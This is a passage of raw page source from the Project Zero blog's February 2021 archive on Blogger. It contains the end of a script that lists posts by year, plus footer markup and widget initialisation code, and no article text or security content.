document.createElement('div'); year_header.appendChild(document.createTextNode(cur_year)); year_header.style.fontSize = 'large'; elements.push(year_header); let list = document.createElement('ul'); elements.push(list); for (let obj of results.posts) { let link_parts = obj.url.split('/'); let year = link_parts[3]; let month = link_parts[4]; let el = document.createElement(/*'div'*/'li'); el.style.listStyleType = 'square'; el.style.listStylePosition = 'inside'; let link = document.createElement('a'); el.appendChild(link); link.appendChild(document.createTextNode(obj.title)); link.href = obj.url; let date_trailer = document.createElement('span'); el.appendChild(date_trailer); //date_trailer.appendChild(document.createTextNode(' ('+year+'-'+month+')')); date_trailer.appendChild(document.createTextNode(' ('+MONTHS[parseInt(month, 10)]+')')); //date_trailer.style.textAlign = 'right'; //elements.push(el); list.appendChild(el); } } } }; with (scope) { eval(text); } if (cur_year == last_year) { finish(); } else { cur_year--; fetch_next_year(); } }); }); } fetch_next_year(); function finish() { for (let obj of elements) { parent.appendChild(obj); } console.log(elements); } })(); //]]> </script> <div class='clear'></div> </div> </div></div> <table border='0' cellpadding='0' cellspacing='0' class='section-columns columns-2'> <tbody> <tr> <td class='first columns-cell'> <div class='sidebar no-items section' id='sidebar-right-2-1'></div> </td> <td class='columns-cell'> <div class='sidebar no-items section' id='sidebar-right-2-2'></div> </td> </tr> </tbody> </table> <div class='sidebar no-items section' id='sidebar-right-3'></div> </aside> </div> </div> </div> <div style='clear: both'></div>  </div>  </div> </div> <div class='main-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <footer> <div class='footer-outer'> <div class='footer-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left footer-fauxborder-left'> <div class='fauxborder-right footer-fauxborder-right'></div> <div class='region-inner footer-inner'> <div class='foot no-items section' id='footer-1'></div> <table border='0' cellpadding='0' cellspacing='0' class='section-columns columns-2'> <tbody> <tr> <td class='first columns-cell'> <div class='foot no-items section' id='footer-2-1'></div> </td> <td class='columns-cell'> <div class='foot no-items section' id='footer-2-2'></div> </td> </tr> </tbody> </table>  <div class='foot section' id='footer-3' name='Footer'><div class='widget Attribution' data-version='1' id='Attribution1'> <div class='widget-content' style='text-align: center;'> Powered by <a href='https://www.blogger.com' target='_blank'>Blogger</a>. </div> <div class='clear'></div> </div></div> </div> </div> <div class='footer-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </footer>  </div> </div> <div class='content-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </div> <script type='text/javascript'> window.setTimeout(function() { document.body.className = document.body.className.replace('loading', ''); }, 10); </script> <script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/60983134-widgets.js"></script> <script type='text/javascript'> window['__wavt'] = 'AOuZoY5y0Fe_aBWykMcW-CL2gzOwv2Iz3g:1739732869022';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d4838136820032157985','//googleprojectzero.blogspot.com/2021/02/','4838136820032157985'); _WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '4838136820032157985', 'title': 'Project Zero', 'url': 'https://googleprojectzero.blogspot.com/2021/02/', 'canonicalUrl': 'https://googleprojectzero.blogspot.com/2021/02/', 'homepageUrl': 'https://googleprojectzero.blogspot.com/', 'searchUrl': 'https://googleprojectzero.blogspot.com/search', 'canonicalHomepageUrl': 'https://googleprojectzero.blogspot.com/', 'blogspotFaviconUrl': 'https://googleprojectzero.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': 'UA-240546891-1', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Project Zero - Atom\x22 href\x3d\x22https://googleprojectzero.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22Project Zero - RSS\x22 href\x3d\x22https://googleprojectzero.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Project Zero - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/4838136820032157985/posts/default\x22 /\x3e\n', 'meTag': '', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': false, 'adsenseAutoAds': false, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/32c3d108bdd93523', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'X', 'key': 'twitter', 'shareMessage': 'Share to X', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'archive', 'pageName': 'February 2021', 'pageTitle': 'Project Zero: February 2021'}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': false, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Project Zero', 'description': 'News and updates from the Project Zero team at Google', 'url': 'https://googleprojectzero.blogspot.com/2021/02/', 'type': 'feed', 'isSingleItem': false, 'isMultipleItems': true, 'isError': false, 'isPage': false, 'isPost': false, 'isHomepage': false, 'isArchive': true, 'isLabelSearch': false, 'archive': {'year': 2021, 'month': 2, 'rangeMessage': 'Showing posts from February, 2021'}}}]); _WidgetManager._RegisterWidget('_NavbarView', new _WidgetInfo('Navbar1', 'navbar', document.getElementById('Navbar1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', document.getElementById('Header1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/918196653-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/1964470060-lightbox_bundle.css'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogSearchView', new _WidgetInfo('BlogSearch1', 'sidebar-right-1', document.getElementById('BlogSearch1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_PageListView', new _WidgetInfo('PageList1', 'sidebar-right-1', document.getElementById('PageList1'), {'title': 'Pages', 'links': [{'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/about-project-zero.html', 'id': '4384467920505278144', 'title': 'About Project Zero'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/working-at-project-zero.html', 'id': '2459334498880008057', 'title': 'Working at Project Zero'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/0day.html', 'id': '3414239791814532209', 'title': '0day \x22In the Wild\x22'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.github.io/0days-in-the-wild/rca.html', 'title': '0day Exploit Root Cause Analyses'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html', 'id': '2935252455704572784', 'title': 'Vulnerability Disclosure FAQ'}], 'mobile': false, 'showPlaceholder': true, 'hasCurrentPage': false}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogArchiveView', new _WidgetInfo('BlogArchive1', 'sidebar-right-1', document.getElementById('BlogArchive1'), {'languageDirection': 'ltr', 'loadingMessage': 'Loading\x26hellip;'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_AttributionView', new _WidgetInfo('Attribution1', 'footer-3', document.getElementById('Attribution1'), {}, 'displayModeFull')); </script> </body> </html>